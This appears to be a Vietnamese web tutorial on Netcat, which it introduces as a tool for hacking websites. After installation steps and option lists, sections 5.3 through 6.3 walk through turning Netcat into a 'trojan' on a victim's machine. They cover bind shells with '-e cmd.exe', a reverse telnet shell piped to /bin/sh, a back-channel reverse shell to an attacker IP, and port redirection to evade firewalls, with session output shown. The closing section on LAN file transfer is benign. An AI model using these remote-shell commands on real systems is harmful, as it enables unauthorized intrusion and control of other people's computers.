Hướng dẫn sử dụng Netcat
Hiện nay không thiếu những giải pháp phần mềm giúp chuyển file giữa các máy tính. Tuy nhiên, nếu không thường xuyên phải làm việc này, các giải pháp điển hình như NFS và SFTP (thông qua OpenSSH) có thể hơi quá mức cần thiết. Hơn nữa, các service này được mở vĩnh viễn để nhận và xử lý các kết nối đến. Nếu cấu hình không chính xác, thiết bị sẽ trở nên rất dễ bị tấn công.
Netcat có thể được sử dụng như một giải pháp đặc biệt để truyền file qua mạng cục bộ hoặc Internet. Nó cũng hữu ích cho việc truyền dữ liệu đến hoặc từ các máy ảo hoặc container, khi chúng không bao gồm tính năng này. Người dùng thậm chí có thể sử dụng nó như một cơ chế sao chép-dán giữa hai thiết bị.
Toàn tập cách sử dụng Netcat
1. Giới thiệu
Netcat là một công cụ không thể thiếu được nếu bạn muốn hack một website nào đó. Vì vậy bạn cần biết một chút về Netcat.
2. Cách cài đặt Netcat trên các bản phân phối Linux khác nhau
Hầu hết các hệ điều hành dựa trên Linux đều được cài đặt sẵn Netcat. Mở terminal và nhập:
netcat
Nếu không tìm thấy lệnh, hãy cài đặt gói chứa Netcat, một biến thể BSD. Ngoài ra còn có phiên bản GNU của Netcat với ít tính năng hơn. Người dùng sẽ cần Netcat trên cả máy tính nhận và gửi file.
Trên các bản phân phối dựa trên Debian như Ubuntu hoặc Linux Mint, hãy cài đặt tiện ích với:
sudo apt install netcat-openbsd
Với openSUSE, hãy làm theo các hướng dẫn cụ thể cho bản phân phối chính xác trên trang này.
Trên Arch Linux, nhập lệnh sau:
sudo pacman -S openbsd-netcat
Thật không may, họ RedHat không bao gồm các biến thể BSD hoặc GNU của Netcat. Vì một số lý do nào đó, RedHat này đi kèm với nmap-ncat. Mặc dù chúng tương tự nhau nhưng một số tùy chọn dòng lệnh không có sẵn, ví dụ -N. Điều này có nghĩa là người dùng sẽ phải thay thế một dòng như nc -vlN 1234 > nc bằng nc -vl 1234 > nc để nó hoạt động trên RedHat/Fedora.
Để cài đặt ncat trên RedHat, hãy nhập lệnh sau:
sudo yum install nmap-ncat
Và trên Fedora, sử dụng lệnh:
sudo dnf install nmap-ncat
3. Biên dịch
Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng.
- hiệu chỉnh file netcat.c bằng vi: vi netcat.c
+ tìm dòng res_init(); trong main() và thêm vào trước 2 dấu "/": // res_init();
+ thêm 2 dòng sau vào phần #define (nằm ở đầu file):
#define GAPING_SECURITY_HOLE
#define TELNET
- biên dịch: make linux
- chạy thử: ./nc -h
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào ":."
PATH=/sbin:/usr/sbin:...:.
Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong.
4. Các tùy chọn của Netcat
Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:
C:\>nc -h connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [options] [hostname] [port] options: -d detach from console, stealth mode -e prog inbound program to exec [dangerous!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h this cruft -i secs delay interval for lines sent, ports scanned -l listen mode, for inbound connects -L listen harder, re-listen on socket close -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -s addr local source address -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -z zero-I/O mode [used for scanning] port numbers can be individual or ranges: m-n [inclusive] |
* Cú pháp:
- chế độ kết nối : nc [-tùy_chọn] tên_máy cổng1[-cổng2]
- chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng]
* Một số tùy chọn:
-d tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ steath(không hiển thị trên thanh Taskbar)
-e prog thi hành chương trình prog, thường dùng trong chế độ lắng nghe
-h gọi hướng dẫn
-i secs trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
-l đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến
-L buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối.
-n chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ không thẩm vấn DNS
-o file ghi nhật kí vào file
-p port chỉ định cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên(random)
-s addr giả mạo địa chỉ IP nguồn là addr
-t không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd.
-u dùng UDP(mặc định netcat dùng TCP)
-v hiển thị chi tiết các thông tin về kết nối hiện tại. -vv sẽ hiển thị thông tin chi tiết hơn nữa.
-w secs đặt thời gian timeout cho mỗi kết nối là secs mili giây
-z chế độ zero I/O, thường được sử dụng khi scan port
Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080
5. Các ví dụ:
5.1 Chộp banner của web server
Ví dụ: nc đến 172.16.84.2, cổng 80
C:\>nc 172.16.84.2 80 HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần) HTTP/1.1 200 OK Date: Sat, 05 Feb 2000 20:51:37 GMT Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2 OpenSSL/0.9.6 PHP/4.0.4pl1 Connection: close Content-Type: text/html |
Để biết thông tin chi tiết về kết nối, bạn có thể dùng -v(-vv sẽ cho biết các thông tin chi tiết hơn nữa)
C:\>nc -vv 172.16.84.1 80 172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA (UNKNOWN) [172.16.84.1] 80 (?) open HEAD / HTTP/1.0 HTTP/1.1 200 OK Date: Fri, 04 Feb 2000 14:46:43 GMT Server: Apache/1.3.20 (Win32) Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT ETag: "0-cec-3899eaea" Accept-Ranges: bytes Content-Length: 3308 Connection: close Content-Type: text/html sent 17, rcvd 245: NOTSOCK |
Nếu muốn ghi nhật kí, hãy dùng -o <tên_file>. Ví dụ:
nc -vv -o nhat_ki.log 172.16.84.2 80 |
- xem file nhat_ki.log
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK. < 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F < 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54 < 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap < 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win < 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi < 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb < 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM < 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0-cec- < 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep < 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes. < 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length: < 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio < 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten < 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm < 000000f0 6c 0d 0a 0d 0a # l.... |
dấu < nghĩa là server gởi đến netcat
dấu > nghĩa là netcat gởi đến server
5.2 Quét cổng
- chạy netcat với tùy chọn -z. Để quét cổng nhanh hơn, hãy dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1->500) của host 172.16.106.1
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500 (UNKNOWN) [172.16.106.1] 443 (?) open (UNKNOWN) [172.16.106.1] 139 (?) open (UNKNOWN) [172.16.106.1] 111 (?) open (UNKNOWN) [172.16.10]6.1] 80 (?) open (UNKNOWN) [172.16.106.1] 23 (?) open |
- nếu bạn cần scan các cổng UDP, dùng -u
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open |
5.3 Biến Netcat thành một trojan
- trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn -l(listen) và -p port để xác định số hiệu cổng cần lắng nghe, -e <tên_chương_trình_cần_chạy> để yêu cầu netcat thi hành 1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe(đối với NT) hoặc /bin/sh(đối với Unix). Ví dụ:
E:\>nc -nvv -l -p 8080 -e cmd.exe listening on [any] 8080 ... connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159 sent 0, rcvd 0: unknown socket error |
- trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080
C:\>nc -nvv 172.16.84.2 8080 (UNKNOWN) [172.16.84.2] 8080 (?) open Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. E:\>cd test cd test E:\test>dir /w dir /w Volume in drive E has no label. Volume Serial Number is B465-452F Directory of E:\test [.] [..] head.log NETUSERS.EXE NetView.exe ntcrash.zip password.txt pwdump.exe 6 File(s) 262,499 bytes 2 Dir(s) 191,488,000 bytes free C:\test>exit exit sent 20, rcvd 450: NOTSOCK |
Như bạn thấy, chúng ta đã có thể làm gì mà chẳng được với máy của nạn nhân qua shell lệnh này?! Tuy nhiên, sau kết nối trên, netcat trên máy nạn nhân cũng đóng luôn. Để yêu cầu netcat lắng nghe trở lại sau mỗi kết nối, bạn dùng -L thay cho -l. Lưu ý: -L chỉ có thể áp dụng cho bản Netcat for Windows, không áp dụng cho bản chạy trên Linux.
E:\>nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ... |
- Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là -s <địa_chỉ_ip_của_máy_này>. Ví dụ:
netstat -a
...
TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 đang lắng nghe
...
E:\>nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163 |
- Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là xong.
- Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat.
6. Kĩ thuật tiên tiến
6.1 Telnet nghịch chuyển
- dùng telnet để nối cửa số netcat đang lắng nghe, kế đó đưa lệnh từ cửa sổ này vào luồng telnet nghịch chuyển, và gởi kết quả vào cửa sổ kia. Ví dụ:
- trên máy dùng để tấn công(172.16.84.1), mở 2 cửa sổ netcat lần lượt lắng nghe trên cổng 80 và 25:
+ cửa sổ Netcat (1)
C:\>nc -nvv -l -p 80 listennng on [any] 80 ... connect to [172.16.84.1] from <UNKNOWN> [172.16.84.2] 1055 pwd ls -la _ |
+ cửa sổ Netcat (2)
C:\>nc -nvv -l -p 25 listening on [any] 25 ... connect to [172.16.84.1] from (UNKNOWN) [172.16.84.2] 1056 / total 171 drwxr-xr-x 17 root root 4096 Feb 5 16:15 . drwxr-xr-x 17 root root 4096 Feb 5 16:15 .. drwxr-xr-x 2 root root 4096 Feb 5 08:55 b ( ²?n drwxr-xr-x 3 root root 4096 Feb 5 14:19 boot drwxr-xr-x 13 root root 106496 Feb 5 14:18 dev drwxr-xr-x 37 root root 4096 Feb 5 14:23 et = ²? drwxr-xr-x 6 root root 4096 Feb 5 08:58 home drwxr-xr-x 6 root root 4096 Feb 5 08:50 l ( ²?b drwxr-xr-x 2 root root 7168 De = ²? 31 1969 mnt drwxr-xr-x 4 root root 4096 Feb 5 16:18 n = ²? drwxr-xr-x 2 root root 4096 Aug 23 12:03 opt dr-xr-xr-x 61 root root 0 Feb 5 09:18 pro = ²? drwx------ 12 root root 4096 Feb 5 16:24 root drwxr-xr-x 2 root root 4096 Feb 5 08:55 sb ( ²?n drwxrwxrwt 9 root root 4096 Feb 5 16:25 tmp drwxr-xr-x 13 root root 4096 Feb 5 08:42 usr drwxr-xr-x 18 root root 4096 Feb 5 08:52 var |
- trên máy tính nạn nhân(172.16.84.2), telnet nghịch chuyển đến máy dùng để tấn công(172.16.84.1), dùng /bin/sh để kết xuất:
[root@nan_nhan /]# telnet 172.16.84.1 80 | /bin/sh | telnet 172.16.84.1 25 /bin/sh: Trying: command not found /bin/sh: Connected: command not found /bin/sh: Escape: command not found Trying 172.16.84.1... Connected to 172.16.84.1. Escape character is '^]'. _ |
Telnet trên máy nạn nhân sẽ chuyển tất cả những gì mà chúng ta gõ vào trong cửa sổ Netcat (1) - cổng 80 kết xuất sang cho /bin/sh thi hành. Kết quả của /bin/sh được kết xuất trở lại cho máy tính dùng để tấn công trên cửa sổ Netcat (2) - cổng 25. Nhiệm vụ của bạn là chỉ cần gõ lệnh vào cửa sổ Netcat (1) và xem kết quả trong cửa sổ Netcat (2).
Sở dĩ tôi chọn cổng 80 và 25 vì các cổng này thường không bị firewalls hoặc filters lọc.
6.2 Tạo kênh sau
Cũng tương tự như telnet nghịch chuyển.
- trên máy tính dùng để tấn công, bạn đặt Netcat lắng nghe trên cổng 80 vì cổng này sẽ không bị firewall chặn:
C:\>nc -nvv -l -p 80 listennng on [any] 80 ... |
- tiếp theo, từ shell lệnh của máy nạn nhân, bạn nối Netcat đến máy dùng để tấn công với tùy chọn -e để đổ shell:
E:\>nc -e cmd.exe 172.16.84.1 80 |
Một khi máy nạn nhân thi hành chuổi lệnh trên, kênh sau nc sẽ được tạo, "nhét" shell (trong trường hợp này là cmd.exe) trở vào nc. Kể từ đây, chúng ta đã có 1 shell lệnh ảo.
C:\>nc -nvv -l -p 80 listenning pm [any] 80 ... connect to [172.16.84.1] from [UNKNOWN] [172.16.84.3] 1035 Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. E:\> |
6.3 Đổi hướng cổng
Bạn có thể dùng tunnel.pl hoặc fpipe.exe. Hãy xem ví dụ sau:
- chạy nc trên cổng bất kì:
E:\>nc -nvv -L -p 1234 -e cmd.exe listening on [any] 1234 ... |
- chạy tunnel hoặc fpipe để đổi hướng cổng
C:\>perl tunnel.pl --port=53 --tohost=127.0.0.1 --toport=1234 |
C:\>fpipe -l 53 -r 1234 127.0.0.1 |
tunnel, fpipe sẽ lắng nghe trên cổng 53, sau đó chuyển tiếp kết nối đến 127.0.0.1:1024, đây là cổng mà netcat đang lắng nghe.
Đổi hướng cổng là một cách để đi vòng qua firewalls.
7. Cách sử dụng Netcat để truyền file giữa các máy tính Linux
Trên máy tính nhận file, tìm địa chỉ IP được sử dụng trên mạng nội bộ.
ip route get 8.8.8.8
Sau “src”, người dùng sẽ thấy địa chỉ IP mạng nội bộ của thiết bị. Nếu vì một số lý do, kết quả không như mong đợi, hãy thử:
ip address
Trong ảnh chụp màn hình ví dụ, IP là 10.11.12.10.
Trên máy tính sẽ nhận file, hãy nhập lệnh này:
nc -vl 44444 > pick_desired_name_for_received_file
Và trên máy tính sẽ gửi file, hãy nhập lệnh sau nhưng thay thế 10.11.12.10 bằng IP đã phát hiện trước đó:
nc -N 10.11.12.10 44444 < /path/to/file/you/want/to/send
Đường dẫn thư mục và file có thể là tuyệt đối hoặc tương đối. Đường dẫn tuyệt đối là “/home/user/Pictures/file.png”. Nhưng nếu đã ở trong “/home/user”, người dùng có thể sử dụng đường dẫn tương đối, “Pictures/file.png”, như trong ảnh chụp màn hình ở trên.
Trong lệnh đầu tiên, hai tham số đã được sử dụng là -v và -l. -v làm cho đầu ra dài và có nhiều chi tiết hơn, để người dùng có thể thấy những gì đang diễn ra. -l làm cho tiện ích này “lắng nghe” trên cổng 44444, về cơ bản là mở một kênh liên lạc trên thiết bị nhận. Nếu có tường lửa hoạt động, hãy đảm bảo rằng chúng không chặn kết nối.
Trong lệnh thứ hai, -N giúp cho Netcat đóng lại khi quá trình chuyển hoàn tất.
Thông thường, Netcat sẽ xuất ra trong terminal mọi thứ nó nhận được. > tạo một sự chuyển hướng cho đầu ra này. Thay vì xuất nó trên màn hình, nó sẽ gửi tất cả đầu ra đến file được chỉ định sau >. < hoạt động ngược lại, lấy đầu vào từ file được chỉ định thay vì chờ nhập từ bàn phím.
Nếu sử dụng các lệnh trên mà không cần chuyển hướng, ví dụ nc -vl 44444 và nc -N 10.11.12.10 44444, hãy tạo một “cuộc trò chuyện” giữa hai thiết bị. Nếu viết một cái gì đó trong một terminal và nhấn Enter, nó sẽ xuất hiện trên máy tính khác. Đây là cách người dùng có thể sao chép và dán văn bản từ thiết bị này sang thiết bị khác. Nhấn Ctrl + D (trên máy gửi) hoặc Ctrl + C (bất cứ nơi nào) để đóng kết nối.
Tối ưu hóa việc chuyển file
Khi gửi các file lớn, người dùng có thể nén chúng nhanh chóng để tăng tốc độ truyền.
Trên máy nhận, hãy nhập:
nc -vl 44444 | gunzip > pick_desired_name_for_file
Và trên máy gửi, nhập thông tin sau, thay thế 10.11.12.10 bằng địa chỉ IP của thiết bị nhận:
gzip -c /path/to/file/you/want/to/send | nc -N 10.11.12.10 44444
Gửi và nhận các thư mục
Đôi khi bạn muốn gửi nhiều file cùng một lúc, ví dụ toàn bộ thư mục, bạn nên nén chúng trước khi gửi qua mạng.
Ở thiết bị nhận file, hãy sử dụng lệnh:
nc -vl 44444 | tar zxv
Trên thiết bị gửi, sử dụng lệnh:
tar czp /path/to/directory/to/send | nc -N 10.11.12.10 44444
Tốt hơn là chỉ sử dụng điều này trên mạng cục bộ. Lý do chính là lưu lượng mạng không được mã hóa. Nếu gửi nó đến máy chủ, thông qua Internet, các gói dữ liệu có thể bị chặn trên đường truyền mạng. Nhưng nếu các file bạn chuyển không chứa dữ liệu nhạy cảm, thì đó thực sự không phải là vấn đề. Tuy nhiên, các máy chủ thường có cấu hình SSH để chấp nhận các kết nối FTP an toàn và người dùng có thể sử dụng SFTP thay thế cho việc truyền file.
Xem thêm:
Bạn nên đọc
-
Cách sử dụng Microsoft Authenticator làm trình quản lý mật khẩu
-
Ngăn chặn lừa đảo qua tin nhắn bằng những tính năng và thủ thuật này!
-
Tại sao sử dụng VPN miễn phí còn tốt hơn là không dùng gì?
-
Vô hiệu hóa kết nối Wi-Fi trên 7 thiết bị này để tăng cường quyền riêng tư
-
Cloudflare WARP là gì? Có nên sử dụng không?
-
7 trang web proxy tốt nhất nên thử để duyệt web an toàn hơn
Cũ vẫn chất
-
Những câu nói hay về mùa thu, lời chào mùa thu hay và ý nghĩa
Hôm qua -
Đấu Trường Chân Lý Mobile (TFT Mobile)
-
‘Ghét’ Apple, Mark Zuckerberg vẫn phải dùng Macbook nhưng nó lạ lắm
Hôm qua 1 -
Bạn đã sử dụng keo tản nhiệt đúng cách?
Hôm qua -
Code LaLa Land Lục Địa Bí Ẩn mới nhất và cách nhập code
Hôm qua 2 -
Cách sao chép định dạng trong Google Docs, Sheets và Slides
Hôm qua -
Hướng dẫn toàn tập Word 2016 (Phần 26): Tạo đồ họa SmartArt
Hôm qua -
Hướng dẫn chuyển sang ngôn ngữ tiếng Việt cho Gmail
Hôm qua -
70 câu ca dao, tục ngữ về học tập hay nhất
Hôm qua -
Cách xóa khoảng trắng giữa các chữ trong Word
Hôm qua